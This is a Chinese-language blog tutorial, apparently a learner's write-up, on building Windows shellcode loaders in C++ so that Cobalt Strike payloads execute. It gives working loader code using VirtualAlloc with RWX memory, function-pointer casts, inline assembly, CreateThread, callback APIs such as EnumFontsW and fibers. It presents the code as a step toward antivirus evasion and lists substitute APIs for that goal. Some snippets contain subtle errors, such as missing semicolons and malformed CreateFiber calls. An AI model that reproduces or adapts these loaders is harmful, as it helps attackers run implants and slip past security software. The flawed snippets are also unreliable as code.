學了那么久的前置知識,終于到了能上線的地方了!!!? ???
不過這里還沒到免殺的部分,距離bypass一眾的殺毒軟件還有很長的路要走!!?
目錄
1.ShellCode
2.ShellCode Loader的概念
3.可讀可寫可執行
4.ShellCode Loader的類型
1.指針調用
2.匯編調用
3.新建線程調用
4.回調函數
5.纖程加載
1.ShellCode
在學shellcode loader之前,我們得去先了解一下什么是ShellCode
Shellcode 是一段被設計成能夠被計算機上的某個程序或系統調用執行的機器碼。通常,Shellcode 的目標是利用操作系統或應用程序中的漏洞或弱點,以便于執行特定的任務,比如獲取系統權限、執行遠程命令、竊取信息等。
如果我們去看一個普通的木馬的話(不考慮一些騷操作的執行的話)我們一般都是能看見這樣的結構的!?
或者我們直接去CS上也是能直接去生成一段裸的代碼的話也是能看見我們的ShellCode的
生成出來的文件就是我們的Shell Code
2.ShellCode Loader的概念
有了ShellCode的知識的鋪墊之后,我們就可以去講我們的ShellCode Loade了
Shellcode loader(Shellcode加載器)是一種軟件或代碼片段,用于加載和執行Shellcode。它的主要目的是將Shellcode(通常是一段機器碼,以二進制形式編寫)注入到系統內存中,并使其在計算機上執行。
當然了,一個木馬并不是一定需要shellcode loader的!!!?
3.可讀可寫可執行
我們的ShellCode一定是要一塊可讀可寫可執行的內存,那么我們怎么樣才能拿到一塊可讀可寫的內存呢????? ?那么下面,我們先來介紹一個Windows的API!!!
VirtualAlloc //雖然這個API被殺的很死
我們去MSDN看看對應這個API的解釋
VirtualAlloc 是Windows操作系統中的一個函數,用于在進程的虛擬地址空間中分配內存。它的作用是動態地為程序分配一塊指定大小的內存區域,這塊內存可以用于存儲數據或者執行代碼。
LPVOID VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect
);
lpAddress
: 指定要分配的內存區域的起始地址。如果為 NULL,系統會自動選擇一個合適的地址。dwSize
: 指定要分配的內存區域的大小(以字節為單位)。flAllocationType
: 指定分配類型,如MEM_COMMIT
表示分配物理存儲器并將其初始化為零,MEM_RESERVE
表示為內存區域保留地址空間而不實際分配物理存儲器等。flProtect
: 指定內存保護屬性,如PAGE_EXECUTE_READWRITE
表示可執行內存并且可讀寫等。
并且它的返回類型是LPVOID 所以我們就可以用 void* 或者直接PVOID去接受它的返回地址
那么下面我們就來申請一塊可讀可寫可執行的內存
void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
這樣,我們的指針p就執行了一塊可讀可寫可執行的內存地址的首地址
4.ShellCode Loader的類型
1.指針調用
首先我們申請一塊內存肯定就不說了,然后我們需要將我們的ShellCode復制到這塊內存上
- Memcpy
void* memcpy(void* destination, const void* source, size_t num);
所以我們的代碼就可以初見端倪了
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));
當然了,memcpy是有返回值的,我們還可以寫一段代碼判斷一下是否copy成功
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{cout << "Memcpy OK :)" << endl;
}
else
{cout << "Memcpy Failed :("<<endl;
}
執行結果如下
然后就是去執行了,怎么執行呢?? 這里我悶給出一種格式
((void(*)())p)();
- void(*)() 這是一個不返回任何值的函數指針的聲明、
- ((void(*)())p) 這是強制將 p 轉換成void(*)()的指針類型
- 然后((void(*)())p) () 就是函數調用
所以我們的完整的代碼就是
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (memcpy(p, buf, sizeof(buf))){cout << "Memcpy OK :)" << endl;}else{cout << "Memcpy Failed :("<<endl;}((void(*)())p)();
當我們運行一下的時候,就能看見CS上線了!!!!!(終于上線了)
當然了,這樣是絕對不免殺的(如果這免殺就離大譜了)
2.匯編調用
首先聲明一下在64位的程序下,是不能直接寫匯編的,所以我們一般都是用的32位的Shellcode
然后我們就來看以下代碼
__asm{lea eax, buf;call eax;}
這段代碼其實就是將BUF的地址給了eax ,然后直接用call 函數去執行 buf 地址的函數(強制改變它的EIP)
但是你會發現這樣是不會上線的!!? 因為我們的ShellCode 是放在了全局變量初,這塊內存可讀可寫,但是不可執行!!!!? 所以我們的代碼時沒有用的!!! 我們必須通過一行代碼來讓這塊內存RWX
#pragma comment(linker, "/section:.data,RWE")
?所以我們的代碼就變成了這樣
#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int main()
{__asm{lea eax, buf;call eax;}return 0;
}
這樣,就能上線了!!!
3.新建線程調用
創建線程會在新的線程上下文中執行 shellcode,這意味著 shellcode 的執行環境與主程序的環境是隔離的。如果 shellcode 導致了異常或者崩潰,主程序通常不會受到直接影響,而是會在獨立的線程中進行處理。
我們首先來貼一段代碼,然后再來對這段代碼進行解釋
unsigned char buf[] = "shellcode";
int main()
{DWORD dwThreadId; // 線程IDHANDLE hThread; // 線程句柄void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);CopyMemory(shellcode, buf, sizeof(buf));hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}
上面大部分代碼我們都是很熟悉的,這里我們要說的一下的就是我們的這個也是被殺的API
- CreateThread
HANDLE CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,__drv_aliasesMem LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId
);
其中對于各個參數的解釋
lpThreadAttributes
:線程安全屬性,通常為NULL
。dwStackSize
:新線程的棧大小,通常為0
表示使用默認大小。lpStartAddress
:線程函數的地址,即新線程將從這個函數開始執行。lpParameter
:傳遞給線程函數的參數,可以是任意類型的數據。dwCreationFlags
:線程創建的標志,通常為0
。lpThreadId
:輸出參數,用于接收新線程的ID。
其中比較重要的就是lpStartAddress,lpThreadId。分別也就對應了我們的兩個變量。 其中ID就沒什么好說的了,我們來說一下那個線程函數的地址
(LPTHREAD_START_ROUTINE)shellcode
的作用是將shellcode
強制轉換為LPTHREAD_START_ROUTINE
類型的函數指針。這樣,在調用CreateThread
函數時,可以將轉換后的函數指針作為線程的入口點,使得新線程從shellcode
函數開始執行。
然后還有一個函數就是
- WaitForSingleObject()
WaitForSingleObject()
是一個用于等待一個指定的對象(如線程、進程、事件、互斥體等)進入 signaled 狀態的函數。
hHandle
:要等待的對象的句柄(handle)。可以是線程句柄、進程句柄、事件句柄等。dwMilliseconds
:等待的超時時間,單位是毫秒。如果設為INFINITE
(-1),表示無限等待,直到對象變為 signaled 狀態。
這樣,我們就能看懂我們一開始寫的代碼了
#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";int main()
{DWORD id;HANDLE thread;void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);WaitForSingleObject(thread, INFINITE);return 0;
}
也是能成功上線的!!!!!??
當然了,這也是不免殺的,只是一個loader而已
4.回調函數
還記得以前還沒學習免殺的時候,就聽過回調函數的大名,但是不知道現在回調函數的效果怎么樣了!!? ?我們先來了解一下什么是回調函數
"回調函數" 是一種在編程中常見的概念,特別是在事件驅動的編程模型中經常用到。它指的是一種函數,通常作為參數傳遞給另一個函數,并在特定事件發生時由另一個函數調用(即“回調”),以便處理該事件或者進行適當的響應。
聽不太懂? 沒事,我用人話翻譯一下
利用某些系統或應用程序接口(API),將 shellcode 的地址注冊為回調函數。當特定條件滿足時,系統或應用程序會調用該回調函數,從而間接執行 shellcode。
那么,他和上面的幾種運行Shellcode的方式有什么不同呢???
隱蔽性強:通過合法的系統接口間接執行 shellcode,可以繞過一些安全檢測和監控機制,因為通常系統并不會懷疑合法接口的使用。
對于直接操作內存,現代操作系統和安全軟件可能會監視和攔截直接執行 shellcode 的操作,認為這是惡意行為,而通過回調函數,有可能AV并沒有Hook這些函數,所以我們就能成功的運行ShellCode !!?
那么我們先來貼一段代碼
#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(address, shellcode, sizeof(shellcode));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);return 0;
}
前面兩段我們非常熟悉,不多說,我們說說后面的部分!
HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
首先通過GetDC獲取屏幕設備的上下文句柄。
然后通過EnumFontsW這個函數在枚舉每一個字體的時候,調用我們的Shellcode這個函數!!
所以就能看得懂我們這一段loader了
int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));HDC dc = GetDC(NULL);EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);return 0;
}
?也是成功上線
當然了,回調函數還有很多,我們替換就是了
1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()
5.纖程加載
這個我在我之前的Blog也說過一下(不過當時我并不懂是什么意思),現在我們可以來看看了
纖程是什么? 纖程是一種用戶模式下的執行單元,不同于操作系統內核管理的線程。它由用戶代碼顯式地創建和管理,而不像線程那樣由操作系統內核來調度和管理。
我們還是來貼一段上線的代碼
int main() {UCHAR buf[] = "";DWORD oldProtect;BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,PAGE_EXECUTE_READWRITE,&oldProtect);PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
}
其實前面還是換湯不換藥,我們直接來講一下后面的新代碼
PVOID mainFiber = ConvertThreadToFiber(NULL);PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);SwitchToFiber(shellcodeFiber);DeleteFiber(shellcodeFiber);
ConvertThreadToFiber(NULL)
函數將當前線程轉換為主纖程。主纖程是在進程初始化時自動創建的纖程,它可以讓當前線程參與到纖程的調度中。CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
函數用于創建一個新的纖程。SwitchToFiber(shellcodeFiber);
函數將當前線程切換到指定的纖程
所以我們就能看懂那一段代碼了
#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);void* mainfiber = ConvertThreadToFiber(NULL);void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);SwitchToFiber(shellfiber);return 0;
}
也是能成功上線的
當然了,Shellcode Loader還有很多的類型,這里只是介紹了一些最簡單的Loader ,想免殺的話,你可以最簡單的替換一下函數
GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()
當然了,最簡單的換函數肯定是不能過的,接著你可以隱藏導入表(這個我后面找時間更新!!)
當然了,就算隱藏了導入表也是無法完成免殺的,所以怎么免殺 ?? 我們后面來說 !!!?